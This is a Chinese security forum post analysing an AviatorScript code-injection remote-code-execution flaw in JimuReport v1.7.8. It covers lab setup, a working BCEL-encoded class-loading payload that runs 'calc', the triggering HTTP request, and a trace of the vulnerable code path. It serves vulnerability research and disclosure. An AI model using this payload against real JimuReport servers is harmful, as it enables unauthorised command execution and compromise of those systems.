奇安信攻防社区-积木报表AviatorScript代码注入RCE分析

积木报表AviatorScript代码注入RCE分析

积木报表软件存在AviatorScript代码注入RCE漏洞。使用接口/jmreport/save处在text中写入AviatorScript表达式。访问/jmreport/show触发AviatorScript解析从而导致命令执行。

一、漏洞简介
------

积木报表是一款免费的数据可视化报表，含报表、仪表盘和大屏设计，像搭建积木一样在线设计报表！功能涵盖，数据报表、打印设计、图表报表、大屏设计等！ 积木报表软件存在AviatorScript代码注入RCE漏洞。使用接口/jmreport/save处在text中写入AviatorScript表达式。访问/jmreport/show触发AviatorScript解析从而导致命令执行。

二、影响版本
------

v1.7.8

三、环境搭建
------

直接到 github 下载源码：

<https://github.com/jeecgboot/JimuReport/releases/tag/v1.7.8>

第一步：创建数据库执行初始化脚步

db/jimureport.mysql5.7.create.sql

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-de2ebc3e585cc2544a7764d262788a95c21a6124.png)

第二步：修改配置内容

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-1258050485a85ee78e3a5b200649fbd35cf95643.png)

第三步：启动项目，访问到如图则搭建成功

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-569ef88b6cc826be0e2ba251ae2094aa42c7f324.png)

四、漏洞复现
------

`Payload：`

```php

=((c=(Class.forName('$$BCEL$$$l$8b$I$A$A$A$A$A$A$AeP$cbN$c2$40$U$3dCK$5bk$95$97$f8$7e$c4$95$c0$c2$s$c6$j$c6$NjbR$c5$88a\_$ca$E$86$40k$da$c1$f0Y$baQ$e3$c2$P$f0$a3$8cw$w$B$a2M$e6$de9$e7$9es$e6$a6\_$df$l$9f$ANq$60$p$8b$b2$8dul$a8$b2ib$cb$c46$83q$sB$n$cf$Z$b4J$b5$cd$a07$a2$$g$c8y$o$e4$b7$e3Q$87$c7$P$7egHL$d1$8b$C$7f$d8$f6c$a1$f0$94$d4e\_$q$MY$afqsQ$t$c8$t$3c$608$aax$D$ff$c9w$87$7e$d8s$5b2$Wa$af$5e$5d$a0$ee$e2$u$e0IB$G$z$YuU$f4$3f9$83$7d9$J$f8$a3$UQ$98$98$d8$n$dc$8a$c6q$c0$af$84z$d7$a2$f7$8e$95$c9$81$B$d3$c4$ae$83$3d$ec$3bX$c1$w$85$d2$90$n$3f$cflv$G$3c$90$M$a5$94$S$91$7b$dd$9c$853$U$e6$c2$fbq$u$c5$88$f2$ed$k$973P$ae$y$$$3f$a5$eb8$84N$7fT$7d$Z0$b5$GU$8b$90K$9dQ$cf$d6$de$c0$5e$d2$f1$SU$p$r5$d8T$9d\_$B$96$e9$G$9a$d2$da$a4R$e6$934$M$b0$de$91$a9$bdB$7b$fe$e37$W$fc$Wr$c8S$\_$d0$d1$89$v$d2$v$a5$fa$b5$l$d5$l$f2$9c$f6$B$A$A',true,new com.sun.org.apache.bcel.internal.util.ClassLoader()))) + ( c.exec('calc')))

```

新建报表然后填入 `payload`

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9e90963cdf997c7bc1c0d790626361b97e0ce6cc.png)

之后打开新建的报表

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-348a5c71b3e4b053ca7e0674d7cf09dbcb33a317.png)

五、漏洞原理分析
--------

漏洞触发的数据包

```php

POST /jmreport/show HTTP/1.1  
Host: localhost:8085  
Content-Type: application/json;charset=UTF-8  
sec-ch-ua-platform: "Windows"  
Sec-Fetch-Dest: empty  
Accept-Language: zh-CN,zh;q=0.9  
sec-ch-ua-mobile: ?0  
sec-ch-ua: "Not)A;Brand";v="99", "Google Chrome";v="127", "Chromium";v="127"  
Sec-Fetch-Site: same-origin  
tenantId: null  
Sec-Fetch-Mode: cors  
Accept: application/json, text/plain, \*/\*  
JmReport-Tenant-Id: null  
X-Access-Token: null  
Accept-Encoding: gzip, deflate, br, zstd  
X-Tenant-Id: null  
Referer: http://localhost:8085/jmreport/view/979632070603386880  
Cookie: Hm\_lvt\_5819d05c0869771ff6e6a81cdec5b2e8=1722673632; HMACCOUNT=895CB0F3CA5CEAA5; Hm\_lpvt\_5819d05c0869771ff6e6a81cdec5b2e8=1722674129  
token: null  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36  
Origin: http://localhost:8085  
Content-Length: 107  
  
{"id":"979632070603386880","apiUrl":"","params":"{\\"pageNo\\":1,\\"pageSize\\":10,\\"jmViewFirstLoad\\":\\"1\\"}"}

```

直接通过接口定位到代码处：`jimureport-spring-boot-starter-1.7.8. Jar!\org.jeecg.modules.jmreport.desreport.a.a#a(com.alibaba.fastjson.JSONObject, javax.servlet.http.HttpServletRequest)`

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-d4bef9197f2ec75e7ee84589b37bfc05a851389b.png)

可以看到这块首先获取了 `id` 参数存入 `var3`（之前创建的报表的 id），之后使用 `show` 函数来处理，跟进这个函数

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-af636c88ef40200569b9c5033099f52b8e18abcd.png)

通过 `id` 从数据库获取数据，中间经过一些处理后，被 `ExpressUtil.a` 方法调用，继续跟进

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-8526b5905d59921c6a39b0a1cdab2f07d04428bf.png)

然后实例化了一个 `a` 对象，跟进

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-84793bd355e34717cd3b1603b8488411b8245f96.png)

通过调试发现是在 `this.a` 执行结束后触发的，继续跟进

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-37bcb2e521844f57107a5c78553977a1c35c3646.png)

`var1` 就是我们建表是传入的恶意表达式

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-39cac73109f4d90d3f71ee3563e9a80b44997fd7.png)

继续向下走

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-141e77ccc7f63cbe8aa377ebf2084eea15d3d9d8.png)

最终在 `org.jeecg.modules.jmreport.desreport.express.a#a(java.util.Map<java.lang.String,org.jeecg.modules.jmreport.desreport.express.b>, java.lang.String)` 触发#AviatorScript组件表达式注入漏洞

![](https://shs3.b.qianxin.com/attack_forum/2024/08/attach-9debc0cc8837febef28374328f91870c52648630.png)

六、总结
----

漏洞的主要原因就是因为使用了有漏洞的版本的Aviator组件来进行解析表中 `text` 数据

七、参考
----

<https://github.com/jeecgboot/JeecgBoot/issues/7014>

<https://www.xiangxu999.com/pages/cd6207/#%E4%B8%80%E3%80%81%E4%BB%8B%E7%BB%8D>

<https://www.ctfiot.com/104155.html>

发表于 2024-08-14 09:36:07
阅读 ( 1988 )
分类：Web应用

积木报表AviatorScript代码注入RCE分析

0 条评论